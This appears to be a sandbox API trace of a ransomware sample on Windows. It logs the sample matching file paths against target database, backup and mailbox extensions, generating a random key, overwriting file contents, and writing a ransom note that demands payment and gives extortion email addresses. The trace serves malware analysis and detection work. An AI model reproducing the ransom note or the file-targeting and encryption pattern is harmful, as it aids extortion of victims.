	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".ndf") returned 0x0
	[0146.969] lstrlenW (lpString=".DB") returned 3
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DB") returned 0x0
	[0146.969] lstrlenW (lpString=".sql") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".sql") returned 0x0
	[0146.969] lstrlenW (lpString=".MYD") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".MYD") returned 0x0
	[0146.969] lstrlenW (lpString=".DBT") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DBT") returned 0x0
	[0146.969] lstrlenW (lpString=".ACCDB") returned 6
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".ACCDB") returned 0x0
	[0146.969] lstrlenW (lpString=".fdb") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".fdb") returned 0x0
	[0146.969] lstrlenW (lpString=".bak") returned 4
	[0146.969] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".bak") returned 0x0
	[0146.969] lstrlenW (lpString=".myd") returned 4
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".myd") returned 0x0
	[0146.970] lstrlenW (lpString=".DTXS") returned 5
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".DTXS") returned 0x0
	[0146.970] lstrlenW (lpString=".ckp") returned 4
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".ckp") returned 0x0
	[0146.970] lstrlenW (lpString=".dbt") returned 4
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".dbt") returned 0x0
	[0146.970] lstrlenW (lpString=".db") returned 3
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".db") returned 0x0
	[0146.970] lstrlenW (lpString=".TXT") returned 4
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".TXT") returned 0x0
	[0146.970] lstrlenW (lpString=".MDF") returned 4
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".MDF") returned 0x0
	[0146.970] lstrlenW (lpString=".bdb") returned 4
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".bdb") returned 0x0
	[0146.970] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\UTILITY.ACCDA", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0146.970] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395f38) returned 1
	[0146.972] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0146.972] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0146.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0146.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.972] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26696214996) returned 1
	[0146.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc10154d0, dwHighDateTime=0x1d60e1e)) 
	[0146.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d2050
	[0146.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d2050 | out: hHeap=0x300000) returned 1
	[0146.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7d08
	[0146.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.973] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.973] GetLastError () returned 0x0
	[0146.974] GetLastError () returned 0x0
	[0146.974] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.974] GetLastError () returned 0x0
	[0146.974] GetLastError () returned 0x0
	[0146.974] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.034] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0147.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.037] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0147.039] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0147.039] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0147.039] CloseHandle (hObject=0x114) 

Thread:
	id = 6
	os_tid = 0x3a4

	[0061.721] GetLastError () returned 0x0
	[0061.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x364) returned 0x3696a8
	[0061.721] SetLastError (dwErrCode=0x0) 
	[0061.721] GetCurrentThreadId () returned 0x3a4
	[0061.722] GetCurrentThreadId () returned 0x3a4
	[0061.722] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.737] GetCurrentThreadId () returned 0x3a4
	[0061.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0061.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0061.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.737] lstrlenW (lpString=".scr") returned 4
	[0061.737] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".scr") returned 0x0
	[0061.737] lstrlenW (lpString=".cmd") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".cmd") returned 0x0
	[0061.738] lstrlenW (lpString=".dll") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".dll") returned 0x0
	[0061.738] lstrlenW (lpString=".bat") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".bat") returned 0x0
	[0061.738] lstrlenW (lpString=".cpl") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".cpl") returned 0x0
	[0061.738] lstrlenW (lpString=".sys") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".sys") returned 0x0
	[0061.738] lstrlenW (lpString=".msc") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".msc") returned 0x0
	[0061.738] lstrlenW (lpString=".com") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".com") returned 0x0
	[0061.738] lstrlenW (lpString=".lnk") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".lnk") returned 0x0
	[0061.738] lstrlenW (lpString=".msp") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".msp") returned 0x0
	[0061.738] lstrlenW (lpString=".pif") returned 4
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch=".pif") returned 0x0
	[0061.738] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.738] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0061.738] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0061.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.739] RtlWakeConditionVariable () returned 0x365f70
	[0061.739] GetCurrentThreadId () returned 0x3a4
	[0061.739] GetCurrentThreadId () returned 0x3a4
	[0061.739] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.770] GetCurrentThreadId () returned 0x3a4
	[0061.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39c748
	[0061.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366000 | out: hHeap=0x300000) returned 1
	[0061.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x366000
	[0061.770] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Read~ME.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0061.771] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0061.771] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0061.772] CloseHandle (hObject=0x110) returned 1
	[0061.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366000 | out: hHeap=0x300000) returned 1
	[0061.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c748 | out: hHeap=0x300000) returned 1
	[0061.772] RtlWakeConditionVariable () returned 0x365f70
	[0061.772] GetCurrentThreadId () returned 0x3a4
	[0061.773] GetCurrentThreadId () returned 0x3a4
	[0061.773] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.784] GetCurrentThreadId () returned 0x3a4
	[0061.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f68
	[0061.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0061.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0061.784] lstrlenW (lpString=".scr") returned 4
	[0061.784] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".scr") returned 0x0
	[0061.784] lstrlenW (lpString=".cmd") returned 4
	[0061.784] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".cmd") returned 0x0
	[0061.784] lstrlenW (lpString=".dll") returned 4
	[0061.784] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".dll") returned 0x0
	[0061.784] lstrlenW (lpString=".bat") returned 4
	[0061.784] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".bat") returned 0x0
	[0061.785] lstrlenW (lpString=".cpl") returned 4
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".cpl") returned 0x0
	[0061.785] lstrlenW (lpString=".sys") returned 4
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".sys") returned 0x0
	[0061.785] lstrlenW (lpString=".msc") returned 4
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".msc") returned 0x0
	[0061.785] lstrlenW (lpString=".com") returned 4
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".com") returned 0x0
	[0061.785] lstrlenW (lpString=".lnk") returned 4
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".lnk") returned 0x0
	[0061.785] lstrlenW (lpString=".msp") returned 4
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".msp") returned 0x0
	[0061.785] lstrlenW (lpString=".pif") returned 4
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch=".pif") returned 0x0
	[0061.785] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.785] StrStrW (lpFirst="\\\\?\\C:\\Boot\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0061.785] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0061.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f68 | out: hHeap=0x300000) returned 1
	[0061.785] RtlWakeConditionVariable () returned 0x365f70
	[0061.785] GetCurrentThreadId () returned 0x3a4
	[0061.785] GetCurrentThreadId () returned 0x3a4
	[0061.785] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.791] GetCurrentThreadId () returned 0x3a4
	[0061.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0061.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0061.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.791] lstrlenW (lpString=".scr") returned 4
	[0061.791] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".scr") returned 0x0
	[0061.791] lstrlenW (lpString=".cmd") returned 4
	[0061.791] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".cmd") returned 0x0
	[0061.792] lstrlenW (lpString=".dll") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dll") returned 0x0
	[0061.792] lstrlenW (lpString=".bat") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".bat") returned 0x0
	[0061.792] lstrlenW (lpString=".cpl") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".cpl") returned 0x0
	[0061.792] lstrlenW (lpString=".sys") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".sys") returned 0x0
	[0061.792] lstrlenW (lpString=".msc") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".msc") returned 0x0
	[0061.792] lstrlenW (lpString=".com") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".com") returned 0x0
	[0061.792] lstrlenW (lpString=".lnk") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".lnk") returned 0x0
	[0061.792] lstrlenW (lpString=".msp") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".msp") returned 0x0
	[0061.792] lstrlenW (lpString=".pif") returned 4
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".pif") returned 0x0
	[0061.792] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.792] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch="msp\r\n.pif") returned 0x0
	[0061.792] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0061.793] lstrlenW (lpString=".sqb") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".sqb") returned 0x0
	[0061.793] lstrlenW (lpString=".ost") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".ost") returned 0x0
	[0061.793] lstrlenW (lpString=".txt") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".txt") returned 0x0
	[0061.793] lstrlenW (lpString=".mdt") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".mdt") returned 0x0
	[0061.793] lstrlenW (lpString=".BDB") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".BDB") returned 0x0
	[0061.793] lstrlenW (lpString=".eql") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".eql") returned 0x0
	[0061.793] lstrlenW (lpString=".DBF") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DBF") returned 0x0
	[0061.793] lstrlenW (lpString=".EQL") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".EQL") returned 0x0
	[0061.793] lstrlenW (lpString=".FDB") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".FDB") returned 0x0
	[0061.793] lstrlenW (lpString=".EDB") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".EDB") returned 0x0
	[0061.793] lstrlenW (lpString=".DACPAC") returned 7
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DACPAC") returned 0x0
	[0061.793] lstrlenW (lpString=".VHD") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".VHD") returned 0x0
	[0061.793] lstrlenW (lpString=".DBV") returned 4
	[0061.793] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DBV") returned 0x0
	[0061.794] lstrlenW (lpString=".dacpac") returned 7
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dacpac") returned 0x0
	[0061.794] lstrlenW (lpString=".sdf") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".sdf") returned 0x0
	[0061.794] lstrlenW (lpString=".accdb") returned 6
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".accdb") returned 0x0
	[0061.794] lstrlenW (lpString=".DBX") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DBX") returned 0x0
	[0061.794] lstrlenW (lpString=".MDT") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".MDT") returned 0x0
	[0061.794] lstrlenW (lpString=".SQB") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".SQB") returned 0x0
	[0061.794] lstrlenW (lpString=".vhd") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".vhd") returned 0x0
	[0061.794] lstrlenW (lpString=".bac") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".bac") returned 0x0
	[0061.794] lstrlenW (lpString=".mdf") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".mdf") returned 0x0
	[0061.794] lstrlenW (lpString=".BAK") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".BAK") returned 0x0
	[0061.794] lstrlenW (lpString=".BAC") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".BAC") returned 0x0
	[0061.794] lstrlenW (lpString=".dbs") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dbs") returned 0x0
	[0061.794] lstrlenW (lpString=".vhdx") returned 5
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".vhdx") returned 0x0
	[0061.794] lstrlenW (lpString=".NDF") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".NDF") returned 0x0
	[0061.794] lstrlenW (lpString=".dat") returned 4
	[0061.794] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dat") returned 0x0
	[0061.794] lstrlenW (lpString=".DBS") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DBS") returned 0x0
	[0061.795] lstrlenW (lpString=".CKP") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".CKP") returned 0x0
	[0061.795] lstrlenW (lpString=".edb") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".edb") returned 0x0
	[0061.795] lstrlenW (lpString=".PST") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".PST") returned 0x0
	[0061.795] lstrlenW (lpString=".dbf") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dbf") returned 0x0
	[0061.795] lstrlenW (lpString=".SQL") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".SQL") returned 0x0
	[0061.795] lstrlenW (lpString=".pst") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".pst") returned 0x0
	[0061.795] lstrlenW (lpString=".dbv") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dbv") returned 0x0
	[0061.795] lstrlenW (lpString=".SDF") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".SDF") returned 0x0
	[0061.795] lstrlenW (lpString=".dtxs") returned 5
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dtxs") returned 0x0
	[0061.795] lstrlenW (lpString=".db3") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".db3") returned 0x0
	[0061.795] lstrlenW (lpString=".OST") returned 4
